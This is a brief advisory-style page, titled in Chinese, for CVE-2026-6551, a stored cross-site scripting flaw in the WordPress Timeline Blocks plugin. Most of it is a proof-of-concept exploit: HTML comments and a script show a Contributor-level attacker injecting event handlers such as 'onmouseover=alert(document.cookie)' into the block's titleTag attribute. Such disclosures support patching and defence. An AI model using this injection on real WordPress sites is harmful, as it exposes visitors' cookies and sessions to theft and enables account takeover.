CVE-2026-6551: WordPress Timeline Blocks插件存储型XSS漏洞

<!-- PoC: Stored XSS via titleTag attribute in Timeline Blocks --> <!-- Attacker with Contributor access creates a new page/block --> <!-- Injecting payload into the titleTag attribute --> <!-- Malicious Block JSON Representation --> <!-- If titleTag is used as a tag name: --> <!-- titleTag: "h2 onclick=alert('XSS')" --> <!-- Output: <h2 onclick=alert('XSS')>Title Content</h2> --> <script> // Example payload to be injected in the block attributes const payload = { "blockName": "timeline-blocks/tb-timeline-blocks", "attrs": { // Attempting to inject an event handler "titleTag": "h2 onmouseover=alert(document.cookie)" } }; console.log("Payload prepared for injection."); </script>